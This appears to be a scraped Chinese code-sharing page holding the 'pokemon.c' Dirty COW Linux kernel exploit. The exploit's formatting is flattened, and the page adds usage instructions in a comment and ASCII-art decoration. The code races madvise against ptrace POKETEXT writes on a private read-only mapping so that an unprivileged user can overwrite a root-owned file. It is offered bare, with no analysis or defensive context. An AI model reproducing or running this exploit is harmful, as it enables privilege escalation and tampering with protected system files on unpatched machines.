扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball #include <fcntl.h>//// pikachu #include <pthread.h>//// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball #include <string.h> //// pokeball #include <stdio.h>////(___) #include <stdint.h> ////(o o)_____/ #include <sys/mman.h> //// @@ <code> \ #include <sys/types.h>////\ ____, /miltank #include <sys/stat.h> //////// #include <sys/wait.h> //// ^^^^ #include <sys/ptrace.h> //// mmap bc757000 #include <unistd.h> //// madvise 0 ////////////////////////////////////////////// ptrace 0 ////////////////////////////////////////////// miltank ////////////////////////////////////////////// int f;// file descriptor void *map;// memory map pid_t pid;// process id pthread_t pth;// thread struct stat st ;// file info ////////////////////////////////////////////// void *madviseThread(void *arg) {// madvise thread int i,c=0;// counters for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 c+=madvise(map,100,MADV_DONTNEED);// race condition printf("madvise %d\n\n",c) ;// sum of errors }// /madvise thread ////////////////////////////////////////////// int main(int argc,char *argv[]){// entrypoint if(argc<3)return 1 ;// ./d file contents printf("%s \n\ (___) \n\ (o o)_____/ \n\ @@ </code> \\\n\ \\ ____, /%s\n\ ////\n\ ^^^^ \n\ ", argv[1], argv[2]) ;// dirty cow f=open(argv[1],O_RDONLY) ;// open read only file fstat(f,&st) ;// stat the fd map=mmap(NULL,// mmap the file st.st_size+sizeof(long) ,// size is filesize plus padding PROT_READ ,// read-only MAP_PRIVATE ,// private mapping for cow f ,// file descriptor 0);// zero printf("mmap %lx\n\n",(unsigned long)map);// sum of error code pid=fork() ;// fork process if(pid){// if parent waitpid(pid,NULL,0);// wait for child int u,i,o,c=0,l=strlen(argv[2]);// util vars (l=length) for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l for(o=0;o<l;o++)//////////////////////// repeat for each byte for(u=0;u<10000;u++)////////////////// try 10K times each time c+=ptrace(PTRACE_POKETEXT,// inject into memory pid,// process id map+o,// address *((long*)(argv[2]+o))) ;// value printf("ptrace %d\n\n",c);// sum of error code }// otherwise else {// child pthread_create(&pth,// create new thread NULL,// null madviseThread ,// run madviseThred NULL) ;// null ptrace(PTRACE_TRACEME) ;// stat ptrace on child kill(getpid(),SIGSTOP) ;// signal parent pthread_join(pth,NULL) ;// wait for thread }// / child return 0 ;// return }// / entrypoint ////////////////////////////////////////////// |
体验盒子
